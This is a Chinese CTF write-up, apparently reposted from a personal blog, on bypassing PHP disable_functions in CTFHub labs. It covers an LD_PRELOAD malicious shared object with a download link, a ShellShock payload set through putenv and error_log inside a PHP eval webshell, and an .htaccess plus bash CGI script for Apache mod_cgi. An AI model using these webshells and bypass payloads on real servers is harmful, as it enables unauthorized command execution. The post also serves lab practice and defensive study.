关于 Bypass Disable_function 的思考

admin 2023年5月29日08:53:20评论19 views字数 4636阅读15分27秒阅读模式

扫码领资料

获网安教程

免费&进群

关于 Bypass Disable_function 的思考
关于 Bypass Disable_function 的思考

为了安全,运维人员会禁用 PHP 的一些 “危险” 函数,将其写在 php.ini 配置文件中,就是我们所说的 disable_functions 了。
这个应用在各类 CTF 题中都有,自动化工具蚁剑已经集成,但是也有各种手动方法,所以就想着来总结一下
持续更新中~

1.LD_PRELOAD 展开目录

基础介绍展开目录

在 UNIX 的动态链接库的世界中,LD_PRELOAD 就是这样一个环境变量,它可以影响程序的运行时的链接(Runtimelinker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的,加载顺序为 LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。

但是用这种方法的前提条件:

linux 环境 putenv (), mail (), error_log () 等可用

具体函数这里就不作介绍 自己可以去了解一下
然后就是上传我们的恶意 os,让他动态链接来突破 disable_function
恶意 so 链接:https://pan.baidu.com/s/1zEDczoGiDgQQRWDYY4HMnA
提取码:m1ka
然后就是具体命令

cmd 是你要执行的命令,
outpath 是命令输出文件路径(可读和可写),
sopath 是我们的共享对象 bypass_disablefunc_x64.so 的绝对路径

实战案例展开目录

ctfhub,打开环境关于 Bypass Disable_function 的思考

直接蚁剑连上,我们先将下载的 so 上传到一个可读可写的路径中
然后将 php 文件上传网址默认路径下然后进行代码执行得到 flag(其中 cat 命令被过滤了

  • http://challenge-bed272240d68a600.sandbox.ctfhub.com:10800/bypass_disablefunc.php?cmd=tac%20/flag&outpath=/var/tmp/m1kael.txt&sopath=/tmp/bypass_disablefunc_x64.so

得到 flag关于 Bypass Disable_function 的思考

参考链接 1
参考链接 2

ShellShock 展开目录

基础介绍展开目录

Shellshock 是一个特权升级漏洞,它为系统用户提供了执行应该不可用的命令的方法。这是通过 Bash 的 “函数导出” 功能发生的,因此在一个运行的 Bash 实例中创建的命令脚本可以与下级实例共享。通过在实例之间共享的表内编码脚本(称为环境变量列表)来实现此功能。Bash 的每个新实例都会扫描此表以获取编码脚本,将每个实例组装成一个在新实例中定义该脚本的命令,然后执行该命令。新实例假设在列表中找到的脚本来自另一个实例,但是它不能验证这个,也不能验证它构建的命令是一个正确形成的脚本定义。因此,攻击者可以在系统上执行任意命令,或利用 Bash 命令解释器中可能存在的其他错误(如果攻击者有办法操纵环境变量列表并导致 Bash 运行)

前提条件

目标 OS 存在 Bash 破壳(CVE-2014-6271)漏洞, PHP 5.* ,linux ,putenv (),mail () 可用

然后我们先来了解一下
Bash 破壳(CVE-2014-6271)漏洞
GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)是 GNU Bash 的一个远程代码执行漏洞,在这个 CVE 的介绍中,可以看到这样的描述:“GNU Bash 4.3 及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd 中的 ForceCommand 功能,Apache HTTP Server 中的 mod_cgi 和 mod_cgid 模块,DHCP 客户端等”。实际上,PHP 也可以利用这个漏洞做很多事情,甚至有可能直接在 80 导致远程命令执行。
了解了 ShellShock 后,我们已经知道,想利用这个点绕过 disable_function,需要三步:

  1. 产生新的 bash
  2. 通过环境变量传递
  3. 环境变量以 () {} 这样的形式

实战案例展开目录

ctfhub,打开环境关于 Bypass Disable_function 的思考

先查看 ban 了哪些函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

发现没用禁止 error_log 函数和 pytenv 函数
连接上蚁剑 (这里的连接的编码方式为 base64
我们写入 hack.php 文件
通过 putenv 来设置环境变量,默认 putenv 定义的环境变量名必须以 PHP_开头。
error_log () 函数会在执行 sh -c -t -i 触发 payload

  • <?php
  • @eval($_REQUEST['ant']);
  • putenv("PHP_hack=() { :; }; tac /flag >> /var/www/html/m1kael.txt");
  • error_log("admin",1);
  • //mail("admin@localhost","","","","");
  • ?>

上传之后关于 Bypass Disable_function 的思考

在网页上进行访问然后进入目录刷新一下得到 flag关于 Bypass Disable_function 的思考

Apache Mod CGI 展开目录

基础介绍展开目录

CGI

公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI 是放在服务器上的可执行程序,CGI 编程没有特定的语言,C 语言,linux shell,perl,vb 等等都可以进行 CGI 编程。

MOD_CGI

任何具有 MIME 类型 application/x-httpd-cgi 或者被 cgi-script 处理器处理的文件都将被作为 CGI 脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为 CGI 脚本,一种是文件具有已由 AddType 指令定义的扩展名,另一种是文件位于 ScriptAlias 目录中.

如果.htaccess 文件被攻击者修改的话,攻击者就可以利用 apache 的 mod_cgi 模块,直接绕过 PHP 的任何限制,来执行系统命令

在这里稍微再说一下 mod_cgi。

1.Mod CGI 就是把 PHP 做为 APACHE 一个内置模块,让 apache http 服务器本身能够支持 PHP 语言,不需要每一个请求都通过启动 PHP 解释器来解释 PHP.
2. 它可以将 cgi-script 文件或者用户自定义标识头为 cgi-script 的文件通过服务器运行.
3. 在.htaccess 文件中可定制用户定义标识头
4. 添加 Options +ExecCGI,代表着允许使用 mod_cgi 模块执行 CGI 脚本
5. 添加 AddHandler cgi-script .cgi,代表着包含.cgi 扩展名的文件都将被视为 CGI 程序

注意我们需要需要保证.htaccess 可以加载进

web 环境当 apache 配置文件中指定 web 目录下 AllowOverride 参数值为 None 时,.htaccess 文件无法生效
在 apache2.3.8 版本之前 AllowOverride 参数值默认设置为 All,.htaccess 文件设置的指令可生效

所以若是想临时允许一个目录可以执行 cgi 程序并且使得服务器将自定义的后缀解析为 cgi 程序,则可以在目的目录下使用.htaccess 文件进行配置,

  • Options +ExecCGI
  • AddHandler cgi-script .cgi

然后设置.cgi 结尾的 shell 文件(shell.cgi)

  • #!/bin/bash
  • echo -ne "Content-Type: text/htmlnn"//发送给浏览器告诉浏览器文件的内容类型,否则500
  • whoami

前提条件

Linux 操作系统
Apache + PHP (apache 使用 apache_mod_php)
Apache 开启了 cgi、rewrite
Web 目录给了 AllowOverride 权限・当前目录可写

实战案例展开目录

ctfhub, 打开环境
进入 backdoor关于 Bypass Disable_function 的思考

直接连蚁剑
然后在其目录上传这两个文件,但是注意 linux 中 CGI 比较严格,所以我们先需要 liunx 环境创建这两个文件然后再上传关于 Bypass Disable_function 的思考

访问发现状态码 500,是因为我们的文件权限不够,直接蚁剑修改 0777关于 Bypass Disable_function 的思考

再次访问利用成功关于 Bypass Disable_function 的思考

然后修改 payload 得到 flag关于 Bypass Disable_function 的思考

来源:http://blog.m1kael.cn/index.php/archives/23/

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

原文始发于微信公众号(白帽子左一):关于 Bypass Disable_function 的思考

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日08:53:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于 Bypass Disable_function 的思考https://cn-sec.com/archives/1766408.html

发表评论

匿名网友 填写信息